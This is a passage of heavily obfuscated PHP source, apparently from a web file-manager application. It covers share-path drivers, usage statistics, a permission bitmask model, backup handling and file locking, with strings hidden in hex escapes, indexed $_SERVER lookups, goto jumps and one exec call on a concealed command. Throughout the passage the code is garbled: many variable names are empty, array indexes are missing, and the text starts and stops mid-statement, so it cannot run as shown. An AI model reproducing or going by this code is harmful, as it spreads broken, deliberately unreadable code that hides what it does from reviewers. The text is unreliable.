$_SERVER[]; $ = $this->infoSimple($ן); return $ && $[$[411]] == $[89] ? !0 : !1; } public function listPath($, $Ҭ = false) { $ӪŎ =& $_SERVER[]; if ($ == $ӪŎ[12]) { return !1; } $ƚ = array($ӪŎ[402] => $); if ($Ҭ) { return $this->model->listSource($ƚ, -1); } return $this->model->listSource($ƚ); } public function has($, $ = false, $г = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($) { return array($[203] => $[$[203]], $[202] => $[$[202]]); } return $г ? $[$[203]] : $[$[202]]; } public function listAll($) { $ = IO::info($this->pathParse[$_SERVER[][78]]); if (!$) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($ō, $ = '') { return $this->model->setContent($ō, $); } public function fileSubstr($ȭ, $, $) { return $this->model->fileSubstr($ȭ, $, $); } public function download($㼦, $ê = '') { $ݼ̻ = get_path_father($ê); $Ǜ = get_path_this($ê); $ = $this->model->fileInfoGet($㼦); $Ƶ = IO::copy($[$_SERVER[][78]], $ݼ̻, !1, $Ǜ); return $Ƶ; } public function setModifyTime($, $顴 = '') { $ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($[418] => $))->save(array($[86] => $顴)); } public function upload($, $è, $ = false, $֨ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ᵻ = $this->parse($); $ѭ = $this->model->addFile($ᵻ[$[401]], $è, $ᵻ[$[78]], $, $֨); return $this->getPathOuter($ѭ); } public function uploadFileByID($Ґ, $۳, $) { $ =& $_SERVER[]; $ = $this->parse($Ґ); $ = $this->model->addFileByFileID($[$[401]], $۳, $[$[78]], $); return $this->getPathOuter($); } public function addFileByRemote($, $Ű, $ި = array(), $ = '', $ŭ) { $ܤ =& $_SERVER[]; $Ū = $this->parse($); $ = empty($) ? $Ū[$ܤ[78]] : $; $ = $this->model->addFileByRemote($Ū[$ܤ[401]], $Ű, $, $ި, $ŭ); return $this->getPathOuter($); } public function uploadLink($՜, $ = 0) { $ =& $_SERVER[]; $룲 = $this->parse($՜); $ = _get($GLOBALS[$[7]], $[1314]); $˫ = _get($GLOBALS[$[7]], $[1315]); $՜ = Model($[603])->createFileName($룲[$[78]], $, $˫); return IO::uploadLink($՜, $); } public function fileNameAuto($ɚٖ, $, $ = REPEAT_REPLACE, $ҥ = false) { return $this->model->fileNameAuto($ɚٖ, $, $, $ҥ); } public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($, $ó = false, $֝ = false, $ۑ = '', $ǎ = false) { $׃ =& $_SERVER[]; $͋ = $this->model->sourceInfo($); if ($͋[$׃[411]] == $׃[89]) { header($׃[1316]); die; } $֍ = $this->model->fileInfoGet($); $ۑ = $֍[$׃[169]] ? $֍[$׃[169]] : $ۑ; $ = isset($GLOBALS[$׃[1317]]) ? $GLOBALS[$׃[1317]] : $͋[$׃[32]]; if ($ǎ) { return IO::fileOutServer($֍[$׃[78]], $ó, $, $ۑ); } IO::fileOut($֍[$׃[78]], $ó, $, $ۑ); } public function fileOut($˖, $֫ = false, $՞ = false, $ڔ = '') { $this->_fileOut($˖, $֫, $՞, $ڔ); } public function fileOutServer($͢ܐ, $ǂͧ = false, $ޚ = false, $ߍ˺ = '') { $this->_fileOut($͢ܐ, $ǂͧ, $ޚ, $ߍ˺, !0); } protected function _fileOutImage($ڳ, $㡨 = 250) { $ߐ =& $_SERVER[]; $֎ = $this->model->pathInfo($ڳ); if ($֎[$ߐ[411]] == $ߐ[89]) { show_json($ߐ[1318] . $ڳ, !1); } $¥ = $this->model->fileInfoGet($ڳ); $¥[$ߐ[32]] = $֎[$ߐ[32]]; $¥[$ߐ[162]] = $֎[$ߐ[162]]; $GLOBALS[$ߐ[1317]] = $¥[$ߐ[32]]; $GLOBALS[$ߐ[161]] = $¥; IO::fileOutImage($¥[$ߐ[78]], $㡨); } public function fileOutImage($ҵ, $φؔ = 250) { $this->_fileOutImage($ҵ, $φؔ); } public function fileOutImageServer($ϡ, $ݩ = 250) { $this->_fileOutImage($ϡ, $ݩ); } public function link($, $ = '') { $ެ = $this->model->fileInfoGet($); return IO::link($ެ[$_SERVER[][78]], $); } protected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[420] => intval($), $[78] => $[12], $[1313] => array()); } $㮅 = explode($[8], trim($, $[8])); if (count($㮅) < 2) { show_tips(clear_html($) . $[1319]); } return array($[420] => intval($㮅[0]), $[78] => $㮅[1], $[1313] => array_slice($㮅, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1312]); } public function getPathOuter($³) { $쨿 =& $_SERVER[]; if (!$³) { return $³; } $Ŭ = $this->parse($³); return trim(KodIO::makeShare($this->pathParse[$쨿[401]], $Ŭ[$쨿[401]]), $쨿[8]); } protected function infoParse($ʖ, $ = false, $ԇ = false) { $ =& $_SERVER[]; $㇊ = $this->pathParse[$[401]]; $Ä = trim($this->pathParse[$[1154]], $[8]); return Action($[1320])->sharePathInfo($㇊, $Ä, $); } public function infoFull($Č܎) { $戦 =& $_SERVER[]; $ڱߏ = explode($戦[8], trim($Č܎, $戦[8])); if (count($ڱߏ) > 1) { $ = implode($戦[8], array_splice($ڱߏ, 1)); $© = $this->model->pathInfoByPath($ڱߏ[0], $); if (!$©) { return !1; } $this->pathParse[$戦[1154]] = $©[$戦[403]]; } return $this->infoParse($Č܎); } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[78]]); if (!$) { return array(); } $͋ = $this->model->listAll($); $ = Model($[595])->getInfo($[$[488]]); $ = Action($[1320]); foreach ($͋ as &$) { check_abort(); $[$[87]] = $->_shareItemeParse($[$[87]], $); } unset($); return $͋; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($쉅) { $this->pathParse = $쉅; $this->model = Model($_SERVER[][1312]); } protected function infoParse($̑, $ȧ = false, $ = false) { $ࢊ =& $_SERVER[]; return Action($ࢊ[1160])->sharePathInfo($this->pathParse[$ࢊ[78]], !0, $ȧ); } public function listPath($, $ȅ = false) { $ =& $_SERVER[]; $ = parent::listPath($, $ȅ); if (!$) { return $; } if (is_array($[$[1321]])) { $[$[1321]] = Action($[1160])->shareItemInfo($[$[1321]]); } foreach ($ as $홤 => $) { if (!in_array($홤, array($[76], $[77]))) { continue; } foreach ($ as $̱ => $) { $[$홤][$̱] = Action($[1160])->shareItemInfo($); } } return $; } public function listAll($) { $ш =& $_SERVER[]; $ = IO::info($this->pathParse[$ш[78]]); if (!$) { return array(); } $ȹ = $this->model->listAll($); foreach ($ȹ as &$ב) { $ב[$ш[87]] = Action($ш[1160])->shareItemInfo($ב[$ш[87]]); } unset($ב); return $ȹ; } } goto C; dז: class AnalysisModel extends ModelBaseLight { public function init($) { $ڗ =& $_SERVER[]; $ѳ = array($ڗ[594] => array($ڗ[33] => $ڗ[1739], $ڗ[268] => array($ڗ[219], $ڗ[758], $ڗ[1740], $ڗ[1741])), $ڗ[1742] => array($ڗ[33] => $ڗ[1743], $ڗ[268] => array($ڗ[219], $ڗ[756], $ڗ[1744], $ڗ[1745], $ڗ[1746]))); if (!isset($ѳ[$])) { return !1; } $this->optionType = $ѳ[$][$ڗ[33]]; $this->field = $ѳ[$][$ڗ[268]]; return !0; } public function listData($؇ܘ = false, $ʝշ = "\155\x6f\x64\x69\x66\x79\124\x69\155\x65", $ي = false) { return parent::listData($؇ܘ, $ʝշ, $ي); } public function trendList($) { $Ӗ =& $_SERVER[]; $ = $this->listData(); if ($) { $ = end($); $ = date($Ӗ[1747], strtotime($Ӗ[1748])); if ($[$Ӗ[219]] == $) { return $; } $ = strtotime($[$Ӗ[219]]); } if (!isset($)) { $ꖎ = $ == $Ӗ[594] ? $Ӗ[538] : $Ӗ[818]; $ = Model($ꖎ)->min($Ӗ[193]); } $®ȏ = $Ӗ[1749] . ucfirst($); $攚 = $this->dateList($); foreach ($攚 as $) { $this->{$®ȏ}($); } return $this->listData(); } private function dateList($¯) { $ =& $_SERVER[]; $ = $¯; $Ĕ = strtotime($[1748]); $ = array(); while ($ <= $Ĕ) { $[] = date($[1747], $); $ = strtotime($[1750], $); } return $; } public function _recordUser($ć = '') { $ =& $_SERVER[]; $鋲 = strtotime(date($[1751], strtotime($ć))); $ = strtotime(date($[1752], strtotime($ć))); $ͯ = array($[193] => array($[1000], $)); $ = Model($[538])->where($ͯ)->count($[1642]); $ͯ[$[193]] = array($[328], array($鋲, $)); $𿉂 = Model($[538])->where($ͯ)->count($[1642]); $ͯ[$[33]] = $[1753]; $ל = Model($[1754])->where($ͯ)->count($[1755]); $ = array($[219] => $ć, $[758] => (int) $, $[1740] => (int) $𿉂, $[1741] => (int) $ל); return $this->insert($); } public function _recordStore($ć = '') { $DžѴ =& $_SERVER[]; $Åۛ = strtotime(date($DžѴ[1752], strtotime($ć))); $ = array($DžѴ[193] => array($DžѴ[1000], $Åۛ)); $ = Model($DžѴ[470])->where($)->sum($DžѴ[80]); $[$DžѴ[411]] = 0; $ҝ = Model($DžѴ[818])->where($)->sum($DžѴ[80]); $[$DžѴ[412]] = 1; $χ = Model($DžѴ[818])->where($)->sum($DžѴ[80]); $[$DžѴ[412]] = 2; $ʿ = Model($DžѴ[818])->where($)->sum($DžѴ[80]); $޳ = array($DžѴ[219] => $ć, $DžѴ[756] => (int) $ҝ, $DžѴ[1744] => (int) $, $DžѴ[1745] => (int) $χ, $DžѴ[1746] => (int) $ʿ); return $this->insert($޳); } public function trend($, $) { $ḃ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $ḃ[1615]) { $ = $[0][$ḃ[219]]; $́ = $this->validDate($, $); $х = array(); $ = array_to_keyvalue($, $ḃ[219]); foreach ($́ as $ه) { if (isset($[$ه])) { $ = $[$ه]; } else { $ = end($); $[$ḃ[219]] = $ه; if ($ == $ḃ[594]) { $[$ḃ[1740]] = $[$ḃ[1741]] = 0; } } $х[] = $; } $ = $х; } $ = array($ḃ[594] => array($ḃ[758] => LNG($ḃ[1756]), $ḃ[1740] => LNG($ḃ[1757]), $ḃ[1741] => LNG($ḃ[1758])), $ḃ[1742] => array($ḃ[756] => LNG($ḃ[1759]), $ḃ[1744] => LNG($ḃ[1760]), $ḃ[1745] => LNG($ḃ[1761]), $ḃ[1746] => LNG($ḃ[1762]))); $Ҫ = array($ḃ[594] => $ḃ[1763], $ḃ[1742] => $ḃ[80]); if (empty($)) { $ه = date($ḃ[1747], strtotime($ḃ[1748])); $汫 = array($ḃ[219] => $ه); foreach ($[$] as $㟇 => $) { $汫[$㟇] = 0; } $[] = $汫; } $ = array(); foreach ($ as $) { if ($ == $ḃ[1742] && $[$ḃ[1744]] > $[$ḃ[756]]) { $[$ḃ[1744]] = $[$ḃ[756]]; } foreach ($[$] as $㟇 => $ޠ) { $ = array($ḃ[219] => $[$ḃ[219]], $ḃ[1539] => $ޠ); $[$Ҫ[$]] = isset($[$㟇]) ? $[$㟇] : 0; $[] = $; } } return $; } public function validDate($τ, $Ԃ) { $ =& $_SERVER[]; $ = date($[1747], strtotime($[1748])); $ = array($); switch ($τ) { case $[1622]: $Ô = mktime(0, 0, 0, date($[1764]), date($[1360]) - date($[1423]) + 7 - 7, date($[1765])); $ѣ = 0; do { $ = date($[1747], $Ô - 3600 * 24 * 7 * $ѣ); $[] = $; $ѣ++; } while ($Ԃ < $); break; case $[1620]: $ѣ = 1; do { $ = date($[1766], strtotime("\x2d\x20{$ѣ}\40\155\157\x6e\x74\150\x73")); $[] = $; $ѣ++; } while ($Ԃ < $); break; case $[1767]: $ = (int) date($[1765], strtotime($Ԃ)); $ڷ⑩ = (int) date($[1765]); if ($ >= $ڷ⑩) { break; } for ($; $ < $ڷ⑩; $++) { $[] = $ . $[1768]; } break; default: break; } if ($Ԃ > end($)) { array_pop($); } sort($); return $; } public function listTable($́) { $ָ = ucfirst($́); return Model($ָ)->listData(); } public function option($ݡ) { $ = $_SERVER[][1769] . ucfirst($ݡ); return $this->{$}(); } private function optionUser() { $ڒ =& $_SERVER[]; $ = Model($ڒ[538])->count($ڒ[1642]); $ŕڮ = Model($ڒ[538])->where($ڒ[1770])->count($ڒ[1642]); $ = intval($GLOBALS[$ڒ[6]][$ڒ[344]][$ڒ[1598]]) / 3600; $Г = strtotime("\x2d{$}\40\x68\157\x75\162\163"); $ = strtotime(date($ڒ[1751])); if ($Г < $) { $Г = $; } $§ = array($ڒ[1771] => array($ڒ[1001], $Г)); $ԇͶ = (int) Model($ڒ[538])->where($§)->count($ڒ[1642]); if (!$ԇͶ) { $ԇͶ = 1; } $§ = array($ڒ[1771] => array($ڒ[1001], $)); $ܡ͢ = Model($ڒ[538])->where($§)->count($ڒ[1642]); return array($ڒ[752] => (int) $, $ڒ[1772] => (int) ($ - $ŕڮ), $ڒ[1773] => (int) $ŕڮ, $ڒ[1774] => (int) $ܡ͢, $ڒ[1775] => $ԇͶ); } private function optionFile() { $ =& $_SERVER[]; $Ź = $this->sourceSize(); $ = $Ź[$[80]]; $궇 = $Ź[$[1744]]; $މ = Model($[818])->where(array($[411] => 0))->count($[403]); $ = array($[411] => 0, $[193] => array($[1001], strtotime(date($[1751])))); $ = Model($[818])->where($)->sum($[80]); $閃 = Model($[818])->where($)->count($[403]); return array($[756] => $, $[1744] => $궇, $[1776] => $ - $궇, $[1777] => (int) $, $[758] => (int) $މ, $[1778] => (int) $閃); } private function optionAccess() { $׺ =& $_SERVER[]; return array($׺[752] => $this->typeLogCnt(), $׺[108] => $this->typeLogCnt($׺[108]), $׺[450] => $this->typeLogCnt($׺[450]), $׺[1779] => $this->typeLogCnt($׺[1779]), $׺[1780] => $this->typeLogCnt($׺[1780]), $׺[594] => $this->typeLogCnt($׺[12], $׺[1755])); } private function typeLogCnt($φ = '', $ц = "\151\x64") { $򃲍 =& $_SERVER[]; $͗ܰ = array($򃲍[108] => array($򃲍[1781], $򃲍[1782]), $򃲍[450] => array($򃲍[1783], $򃲍[1784]), $򃲍[1779] => array($򃲍[1785], $򃲍[1786], $򃲍[1787]), $򃲍[1780] => array($򃲍[1788], $򃲍[1789]), $򃲍[1790] => array($򃲍[1791], $򃲍[1792], $򃲍[1793])); $ = strtotime(date($򃲍[1751])); $֖ = array($򃲍[193] => array($򃲍[1001], $)); if ($φ) { $֖[$򃲍[33]] = array($򃲍[7], $͗ܰ[$φ]); } $ = Model($򃲍[1754])->where($֖)->count($ц); return (int) $; } private function optionServer() { $О =& $_SERVER[]; $ = $this->diskDriver(); $ʧʱ = KodIO::defaultDriver(); $ۋ = array($О[810] => $ʧʱ[$О[401]]); $ = Model($О[470])->where($ۋ)->sum($О[80]); $ҵ = explode($О[53], $_SERVER[$О[140]]); $ = $ҵ[0]; $ڛ = $GLOBALS[$О[6]][$О[21]]; $팰 = $ڛ[$О[963]]; if ($팰 == $О[951]) { $ = explode($О[1257], $ڛ[$О[962]]); $팰 = $[0]; } if ($팰 == $О[899] || $팰 == $О[797]) { $ = Model()->db()->query($О[1794]); $ɀ = $[0] && isset($[0][$О[1538]]) ? $[0][$О[1538]] : 0; $팰 = $О[1795] . ($ɀ ? $О[8] . $ɀ : $О[12]); } $ٗ = $GLOBALS[$О[6]][$О[344]][$О[820]]; return array($О[1796] => $ ? $[$О[1797]] : 0, $О[1798] => $ ? $[$О[1799]] : 0, $О[1800] => (int) $ʧʱ[$О[1797]] * 1024 * 1024 * 1024, $О[1801] => (int) $, $О[1802] => ucfirst($), $О[1803] => $О[1804] . PHP_VERSION, $О[1805] => phpBuild64() ? 64 : 32, $О[751] => str_replace($О[1117], $О[979], $팰), $О[344] => ucfirst($ٗ), $О[32] => $_SERVER[$О[1806]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ӈ = $GLOBALS[$[6]][$[1273]] == $[1274]; if ($ӈ) { $ = $[1807]; if (function_exists($[1808])) { exec($[1809], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } $ӆ = @disk_total_space($); $܀߽ = $ӆ - @disk_free_space($); return array($[1797] => $ӆ, $[1799] => $܀߽); } public function fileChart($) { $֧ =& $_SERVER[]; if (isset($[$֧[1642]])) { return Model($֧[818])->userFileTypeProfile($[$֧[1642]]); } if (isset($[$֧[1810]])) { return Model($֧[818])->groupFileTypeProfile($[$֧[1810]]); } $ = $this->sourceSize(); $Ბ = array($֧[498] => 0, $֧[412] => 1); $얶 = Model($֧[818])->where($Ბ)->sum($֧[80]); $Ბ[$֧[412]] = 2; $јŁ = Model($֧[818])->where($Ბ)->sum($֧[80]); return array($֧[756] => $[$֧[80]], $֧[1744] => $[$֧[1744]], $֧[1745] => (int) $얶, $֧[1746] => (int) $јŁ); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[818])->where(array($[411] => 0))->sum($[80]); $ퟑ = Model($[470])->sum($[80]); if ($ퟑ > $) { $ퟑ = $; } return array($[80] => (int) $, $[1744] => (int) $ퟑ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $ = array(array($[421] => LNG($[1811]), $[1812] => $[1813], $[1814] => 1, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1817]), $[1812] => $[1818], $[1814] => 2, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1819]), $[1812] => $[1820], $[1814] => 3, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1821]), $[1812] => $[1822], $[1814] => 4, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW), array($[421] => LNG($[1823]), $[1812] => $[1824], $[1814] => 5, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[421] => LNG($[1825]), $[1812] => $[1826], $[1814] => 6, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[421] => LNG($[1827]), $[1812] => $[1828], $[1814] => 7, $[1815] => 1, $[1816] => 0)); return $; } public static function authCheck($, $) { $ = intval($); if ($GLOBALS[$_SERVER[][505]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($̾) { return self::authCheck($̾, self::AUTH_SHOW); } public static function authCheckView($ȷ) { return self::authCheck($ȷ, self::AUTH_VIEW); } public static function authCheckDownload($̘) { return self::authCheck($̘, self::AUTH_DOWNLOAD); } public static function authCheckUpload($٨) { return self::authCheck($٨, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($˛) { return self::authCheck($˛, self::AUTH_SHARE); } public static function authCheckComment($݌) { return self::authCheck($݌, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($·谶, $) { $ۓ =& $_SERVER[]; $胊쓩 = array($ۓ[1829] => self::AUTH_VIEW, $ۓ[1184] => self::AUTH_DOWNLOAD, $ۓ[108] => self::AUTH_UPLOAD, $ۓ[1780] => self::AUTH_EDIT, $ۓ[1779] => self::AUTH_REMOVE, $ۓ[1790] => self::AUTH_SHARE, $ۓ[349] => self::AUTH_COMMENT, $ۓ[1630] => self::AUTH_EVENT, $ۓ[1830] => self::AUTH_ROOT); if (!isset($胊쓩[$])) { return; } $Ĥ = $胊쓩[$]; $·谶 = intval($·谶); if ($·谶 <= 0) { return !1; } if (($·谶 & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($·谶 & $Ĥ); } public static function authDisable($쒵, $މ) { if (intval($쒵) <= 0) { return 0; } return intval($쒵) & ~$މ; } public $optionType = "\x53\x79\163\164\145\155\x2e\163\x6f\x75\162\x63\x65\x41\x75\x74\150\x4c\x69\163\x74"; public $field = array("\x6e\141\155\x65", "\141\165\x74\x68", "\154\x61\x62\x65\154", "\x64\151\163\x70\x6c\141\x79", "\163\x79\x73\x74\145\155", "\x73\x6f\162\164"); public function initData() { $ѝ = $this->authDefault(); foreach ($ѝ as $) { $this->add($); } } public function findAuth($, $) { $ =& $_SERVER[]; $ڒ = parent::listData(); foreach ($ڒ as $) { $ = intval($[$[414]]); if ($ <= 0 || $[$[1831]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $[$[401]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function listData($߁Ҋ = false, $ڞ = "\163\x6f\x72\164", $ = false) { return parent::listData($߁Ҋ, $ڞ, $); } public function update($͒, $) { $ =& $_SERVER[]; $ = parent::listData($͒); $г = $this->findByName($[$[32]]); if (!$ || $г && $г[$[401]] != $[$[401]]) { return !1; } $this->filterAuth($[$[414]]); return parent::update($͒, $); } public function remove($) { $푴ԩ = parent::listData($); if (!$푴ԩ || $푴ԩ[$_SERVER[][1261]]) { return !1; } return parent::remove($); } public function add($Ј = array()) { $٧ҥ =& $_SERVER[]; if ($this->findByName($Ј[$٧ҥ[32]])) { return !1; } $Ē = array($٧ҥ[32] => $٧ҥ[12], $٧ҥ[414] => 1, $٧ҥ[1832] => $٧ҥ[1820], $٧ҥ[1831] => 1, $٧ҥ[1261] => 0, $٧ҥ[1833] => 0); $Ј = array_merge($Ē, $Ј); $Ј[$٧ҥ[1833]] = $this->getSort(); $this->filterAuth($Ј[$٧ҥ[414]]); return parent::insert($Ј); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $渙 = array_to_keyvalue($, $[12], $[1833]); return empty($渙) ? 0 : max($渙) + 1; } private function filterAuth(&$) { if (!$) { return; } $Ҟ嶜 = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ȉÆ = array(); foreach ($Ҟ嶜 as $) { if ($ & $) { $ȉÆ[] = $; } } if (in_array(self::AUTH_ROOT, $ȉÆ)) { $ = array_sum($Ҟ嶜); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ȉÆ as $) { if (isset($[$])) { $ȉÆ = array_merge($ȉÆ, $[$]); } } $ȉÆ[] = self::AUTH_SHOW; $ = array_sum(array_unique($ȉÆ)); } public function sort($뱃, $ɓ) { return parent::update($뱃, $ɓ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\155\56\x62\x61\143\x6b\x75\160\x4c\151\x73\x74"; public $field = array("\151\157", "\156\141\x6d\145", "\163\x74\x61\x74\x75\163", "\143\157\156\164\145\x6e\x74", "\155\x61\x6e\x75\x61\x6c", "\x72\x65\x73\x75\154\x74", "\164\151\155\x65\x46\162\157\x6d", "\164\151\155\x65\124\x6f"); public function config() { $稯 =& $_SERVER[]; $ = Model($稯[763])->get($稯[773]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$稯[748]])) { $[$稯[748]] = $稯[89]; } unset($[$稯[1612]]); Action($稯[1834])->taskInit(); Model($稯[1611])->cacheClear(); $쒋 = $稯[1835]; $ = Model($稯[1836])->findByKey($稯[1630], $쒋); if (!$) { $ = array(); } if (isset($[$稯[196]])) { $[$稯[196]] = json_decode($[$稯[196]], !0); } if (isset($[$稯[196]])) { $[$稯[196]][$稯[1615]] = $[$稯[196]]; unset($[$稯[196]]); } return array_merge($, $); } public function listData($ڭ = false, $ = "\x6d\x6f\x64\x69\x66\171\124\x69\155\145", $ = false) { return parent::listData($ڭ, $, !0); } public function lastItem() { $܊ = $this->listData(); return !empty($܊[0]) ? $܊[0] : null; } public function kill($ύ) { $ת =& $_SERVER[]; $Ӂ = $this->listData($ύ); if (!$Ӂ || empty($Ӂ[$ת[32]])) { return !0; } Task::kill($ת[772]); Task::kill($ת[793]); Task::kill($ת[802]); $ = $Ӂ[$ת[32]]; $ = TEMP_FILES . $ת[771] . $ . $ת[8]; IO::remove($, !1); return $this->remove($ύ); } public function remove($) { $Ռ = $this->listData($); if (!$Ռ) { return !0; } return $this->backupRemove($Ռ); } private function backupRemove($ۨ) { parent::remove($ۨ[$_SERVER[][401]]); $ = $this->backupPath($ۨ); IO::remove($, !1); return !0; } private function backupPath($) { $פ =& $_SERVER[]; $ = $[$פ[32]]; $ᄯ = Model($פ[763])->get($פ[764]); $ = substr(md5($פ[765] . $ᄯ . $), 0, 8); return "\173\151\157\x3a{$[$פ[745]]}\x7d\57\144\x61\x74\141\x62\x61\163\x65\x2f\x62\141\x63\x6b\x75\160\57" . $ . $פ[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[90]][$[1837]] != $[89]) { return !0; } $Ђ = $this->config(); if (!$Ђ || $Ђ[$[1612]] != $[89]) { return !1; } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[401]]); } } $ = new Backup(); $ö = $->db(); if ($ö) { $ö = $->dbFile(); if ($ö && $Ђ[$[748]] == $[190]) { $ö = $->file(); } } Backup::set(array($[743] => 1, $[496] => time())); return !0; } public function process() { $Ľ =& $_SERVER[]; $̡ = array($Ľ[751] => Task::get($Ľ[772]), $Ľ[755] => Task::get($Ľ[793]), $Ľ[192] => Task::get($Ľ[802])); $Ӛ = !1; foreach ($̡ as &$ޙ) { if ($Ӛ) { $ޙ = !1; continue; } if ($ޙ) { $͏Ģ = intval(_get($ޙ, $Ľ[1647], 0)); if (time() - $͏Ģ > 7200) { Task::kill($ޙ[$Ľ[401]]); $Ӛ = !0; $ޙ = !1; } } } return $̡; } public function restore() { $ =& $_SERVER[]; ActionCall($[1047], !0, 1); ActionCall($[1047], !0, 0); } } goto D; fŤÍ: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($专ϝ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[549], $专ϝ); $Կ = 1; $this->_lockEvent($专ϝ, array($[550], $[551]), $Կ); $this->_lockParent($专ϝ, array($[551]), $Կ); $this->_lockEvent($专ϝ, array($[552], $[553]), $Կ); $this->_lockCheckEnd($[549], $专ϝ); } public function lockCopyEnd($ޣ) { $〟 =& $_SERVER[]; if (!$this->allowLock()) { return; } $դ = 0; $this->_lockEvent($ޣ, array($〟[550], $〟[551]), $դ); $this->_lockParent($ޣ, array($〟[551]), $դ); $this->_lockEvent($ޣ, array($〟[552], $〟[553]), $դ); } public function lockWriteStart($Ω, $Ǹ = '') { $콧 =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($콧[550], $Ω); $ڃ = 1; $this->_lockKey($콧[554] . $Ω . $콧[10] . $Ǹ, $ڃ); $this->_lockEvent($Ω, array($콧[549], $콧[551]), $ڃ); $this->_lockParent($Ω, array($콧[549], $콧[551]), $ڃ); $this->_lockCheckEnd($콧[550], $Ω); } public function lockWriteEnd($, $݋ = '') { $ڹŒ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ڹŒ[554] . $ . $ڹŒ[10] . $݋, $); $this->_lockEvent($, array($ڹŒ[549], $ڹŒ[551]), $); $this->_lockParent($, array($ڹŒ[549], $ڹŒ[551]), $); } public function lockMoveStart($成) { $⟠ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($⟠[551], $成); $ = 1; $this->_lockKey($⟠[555] . $成, $); $this->_lockEvent($成, array($⟠[549], $⟠[550]), $); $this->_lockParent($成, array($⟠[549], $⟠[551]), $); $this->_lockEvent($成, array($⟠[556], $⟠[552], $⟠[553]), $); $this->_lockCheckEnd($⟠[551], $成); } public function lockMoveEnd($Ώ) { $ϛ =& $_SERVER[]; if (!$this->allowLock()) { return; } $Χ = 0; $this->_lockKey($ϛ[555] . $Ώ, $Χ); $this->_lockEvent($Ώ, array($ϛ[549], $ϛ[550]), $Χ); 